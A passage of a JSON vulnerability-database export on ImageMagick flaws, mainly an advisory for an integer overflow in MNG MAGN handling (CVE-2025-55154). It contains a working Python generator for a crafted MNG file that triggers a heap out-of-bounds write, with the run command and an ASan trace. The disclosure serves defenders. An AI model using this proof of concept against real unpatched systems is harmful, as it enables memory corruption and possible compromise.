e_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/55c344f4b514213642da41194bab57b4476fb9f5"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p33r-fqw2-rqmm","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:07:57Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p33r-fqw2-rqmm"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25795","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25795"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442099","reference_id":"2442099","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442099"},{"reference_url":"https://github.com/advisories/GHSA-p33r-fqw2-rqmm","reference_id":"GHSA-p33r-fqw2-rqmm","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-p33r-fqw2-rqmm"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25795","GHSA-p33r-fqw2-rqmm"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-dtza-65ku-aber"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/27523?format=json","vulnerability_id":"VCID-ef36-52cx-dfg5","summary":"imagemagick: integer overflows in MNG magnification\n## **Vulnerability Details**\n\nThe magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption.\n\nThe source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.\n\n```c\nstatic Image *ReadOneMNGImage(MngReadInfo* mng_info,\n  const ImageInfo *image_info,ExceptionInfo *exception)\n{\n\n// Lots of stuff, this is effectively a state machine for the MNG rendering commands,\n// skip to the point where we start processing the \"MAGN\" command.\n\n        if (memcmp(type,mng_MAGN,4) == 0)\n          {\n            png_uint_16\n              magn_first,\n              magn_last,\n              magn_mb,\n              magn_ml,\n              magn_mr,\n              magn_mt,\n              magn_mx,\n              magn_my,\n              magn_methx,\n              magn_methy;\n\n// Details unimportant, but each of the `magn_xxx` variables is read from the file.\n\n            if (magn_first == 0 || magn_last == 0)\n              {\n                /* Save the magnification factors for object 0 */\n                mng_info->magn_mb=magn_mb;\n                mng_info->magn_ml=magn_ml;\n                mng_info->magn_mr=magn_mr;\n                mng_info->magn_mt=magn_mt;\n                mng_info->magn_mx=magn_mx;\n                mng_info->magn_my=magn_my;\n                mng_info->magn_methx=magn_methx;\n                mng_info->magn_methy=magn_methy;\n              }\n          }\n\n// Details unimportant, we load the image to be scaled and store it in `image`\n\n    if (mng_type)\n      {\n        MngBox\n          crop_box;\n\n        if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) &&\n            ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5)))\n          {\n            png_uint_32\n               magnified_height,\n               magnified_width;\n\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Processing MNG MAGN chunk\");\n\n            if (image->columns == 1)\n              mng_info->magn_methx = 1;\n            if (image->rows == 1)\n              mng_info->magn_methy = 1;\n            if (mng_info->magn_methx == 1)\n              {\n                magnified_width=mng_info->magn_ml; // [0]\n                \n                if (image->columns > 1)\n                   magnified_width += mng_info->magn_mr; // [1]\n\n                if (image->columns > 2)\n                   magnified_width += (png_uint_32)\n                      ((image->columns-2)*(mng_info->magn_mx)); // [2]\n               }\n\n// Different cases handle available scaling kinds, all of which have similar issues...\n\n// We now check whether the output image is larger than the input image in either\n// dimension, and if so, we will allocate a new image buffer of size\n// `magnified_width * magnified_height`.\n\n            if (magnified_height > image->rows ||\n                magnified_width > image->columns)\n              {\n                Image\n                  *large_image;\n\n// Snip...\n\n                large_image->columns=magnified_width;\n                large_image->rows=magnified_height;\n\n                magn_methx=mng_info->magn_methx;\n                magn_methy=mng_info->magn_methy;\n\n// In between here, we allocate the pixel buffer for `large_image`.\n\n                /* magnify the rows into the right side of the large image */\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Magnify the rows to %.20g\",\n                    (double) large_image->rows);\n                m=(ssize_t) mng_info->magn_mt;\n                yy=0;\n                length=(size_t) GetPixelChannels(image)*image->columns;\n                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n                if ((prev == (Quantum *) NULL) ||\n                    (next == (Quantum *) NULL))\n                  {\n                    if (prev != (Quantum *) NULL)\n                      prev=(Quantum *) RelinquishMagickMemory(prev);\n                    if (next != (Quantum *) NULL)\n                      next=(Quantum *) RelinquishMagickMemory(next);\n                    image=DestroyImageList(image);\n                    ThrowReaderException(ResourceLimitError,\n                      \"MemoryAllocationFailed\");\n                  }\n\n                n=GetAuthenticPixels(image,0,0,image->columns,1,exception);\n                (void) memcpy(next,n,length);\n\n                for (y=0; y < (ssize_t) image->rows; y++)\n                {\n                  if (y == 0)\n                    m=(ssize_t) mng_info->magn_mt;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)\n                    m=1;\n\n                  else\n                    m=(ssize_t) mng_info->magn_my;\n\n                  n=prev;\n                  prev=next;\n                  next=n;\n\n                  if (y < (ssize_t) image->rows-1)\n                    {\n                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,\n                          exception);\n                      (void) memcpy(next,n,length);\n                    }\n\n                  for (i=0; i < m; i++, yy++)\n                  {\n                    Quantum\n                      *pixels;\n\n                    assert(yy < (ssize_t) large_image->rows);\n                    pixels=prev;\n                    n=next;\n                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,\n                      1,exception);\n                    if (q == (Quantum *) NULL)\n                      break;\n                    q+=(ptrdiff_t) (large_image->columns-image->columns)*\n                      GetPixelChannels(large_image); // [3]\n```\n\nIf we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \\[0\\] and \\[1\\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \\[2\\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required.\n\nWhen we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \\[3\\] will end up with a `q` pointer outside the buffer bounds.\n\nThis issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.\n\nTriggering this issue requires an `image` with large `columns` or `rows` (\\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`).\n\n## **Affected Version(s)**\n\nVerified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).\n\n### **Build Instructions**\n\n```shell\ngit clone https://github.com/imagemagick/imagemagick\ncd imagemagick\n\nexport CC=clang\nexport CXX=clang++\nexport CFLAGS=\"-fsanitize=address\"\nexport CXXFLAGS=\"-fsanitize=address\"\nexport LDFLAGS=\"-fsanitize=address\"\n\n./configure --disable-shared --disable-docs --with-jxl\nmake -j\n```\n\n## **Reproduction**\n\n### **Test Case**\n\nThis testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.\n\n```\nimport struct\nimport zlib\n\ndef create_chunk(chunk_type, data):\n    crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF\n    return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc)\n\n# MNG signature\nmng_signature = b'\\x8aMNG\\r\\n\\x1a\\n'\n\n# --- Dimensions ---\nmhdr_width = 1\nmhdr_height = 1\nihdr_width = 65538 # W: Original width to cause W' overflow\nihdr_height = 1    # H: Original height\n\n# MHDR chunk (Valid small dimensions)\nmhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0)\nmhdr_chunk = create_chunk(b'MHDR', mhdr_data)\n\n# MAGN chunk: Trigger width overflow, force entry via height magn\nmagn_first = 0\nmagn_last = 0\nmagn_methx = 1\nmagn_mx = 65535      # -> magnified_width = 65534 (overflow)\nmagn_my = 2          # -> magnified_height = 2 (magn_mt=2)\nmagn_ml = 65535\nmagn_mr = 65535\nmagn_mt = 2          # Force magnified_height > H (necessary to trigger large_image path)\nmagn_mb = 1\nmagn_methy = 1\n\nmagn_data = struct.pack('>HHBHHHHHHB',\n                        magn_first, magn_last,\n                        magn_methx,\n                        magn_mx, magn_my,\n                        magn_ml, magn_mr,\n                        magn_mt, magn_mb,\n                        magn_methy)\nmagn_chunk = create_chunk(b'MAGN', magn_data)\n\n# IHDR chunk\nihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0)\nihdr_chunk = create_chunk(b'IHDR', ihdr_data)\n\n# IDAT chunk (Minimal data for W x H grayscale pixels)\nscanline = b'\\x00' + (b'\\x00' * ihdr_width)\ncompressed_scanline = zlib.compress(scanline)\nidat_chunk = create_chunk(b'IDAT', compressed_scanline)\n\n# IEND chunk\niend_chunk = create_chunk(b'IEND', b'')\n\n# MEND chunk\nmend_chunk = create_chunk(b'MEND', b'')\n\nprogram_input = (\n    mng_signature +\n    mhdr_chunk +\n    magn_chunk +\n    ihdr_chunk +\n    idat_chunk +\n    iend_chunk +\n    mend_chunk\n)\n\nprint(f\"Generated MNG size: {len(program_input)} bytes\")\nwith open(\"magn_write.mng\", \"wb\") as tmp:\n    tmp.write(program_input)\n```\n\n### **Command**\n\n```shell\npython3 ./generate_testcase.py\nutilities/magick ./magn_write.mng -resize 200x200 PNG:output.png\n```\n\n### **ASan Backtrace**\n\n```\n=================================================================\n==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8\nWRITE of size 4 at 0x7f80849757d0 thread T0\n    #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52\n    #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27\n    #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22\n    #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7\n    #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)\n\n0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0)\nallocated by thread T0 here:\n    #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)\n    #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7\n    #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10\n    #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46\n    #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18\n    #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28\n    #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10\n    #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7\n    #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28\n    #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22\n    #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7\n    #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed\nShadow bytes around the buggy address:\n  0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa\n  0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==585863==ABORTING\n```\n\n## **Reporter Credit**\n\nGoogle Big Sleep","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55154.json","reference_id":"","reference_type":"","scores":[{"value":"8.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55154.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55154","reference_id":"","reference_type":"","scores":[{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16656","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16609","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16672","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.1673","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16814","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16773","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16795","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16741","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16871","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.16949","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.16875","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.1689","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.16987","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00073","scoring_system":"epss","scoring_elements":"0.22011","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-55154"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55154","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55154"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp29-wxp5-wh82","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:28:13Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp29-wxp5-wh82"},{"reference_url":"https://issuetracker.google.com/savedsearches/7155917","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://issuetracker.google.com/savedsearches/7155917"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55154","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55154"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111103","reference_id":"1111103","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111103"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2388243","reference_id":"2388243","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2388243"},{"reference_url":"https://github.com/advisories/GHSA-qp29-wxp5-wh82","reference_id":"GHSA-qp29-wxp5-wh82","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qp29-wxp5-wh82"},{"reference_url":"https://access.redhat.com/errata/RHSA-2025:15666","reference_id":"RHSA-2025:15666","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2025:15666"},{"reference_url":"https://usn.ubuntu.com/7756-1/","reference_id":"USN-7756-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7756-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570798?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.8.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-r889-wzc7-1yem"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-uwj5-1fkf-7qg9"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.8.0"}],"aliases":["CVE-2025-55154","GHSA-qp29-wxp5-wh82"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-ef36-52cx-dfg5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21243?format=json","vulnerability_id":"VCID-emmr-15qp-vfah","summary":"ImageMagick has Global Buffer Overflow (OOB Read) via Negative Pixel Index in UIL and XPM Writer\nThe UIL and XPM image encoder do not validate the pixel index value returned by `GetPixelIndex()` before using it as an array subscript. In HDRI builds, `Quantum` is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash.\n\n```\nREAD of size 1 at 0x55a8823a776e thread T0\n    #0 0x55a880d01e85 in WriteUILImage 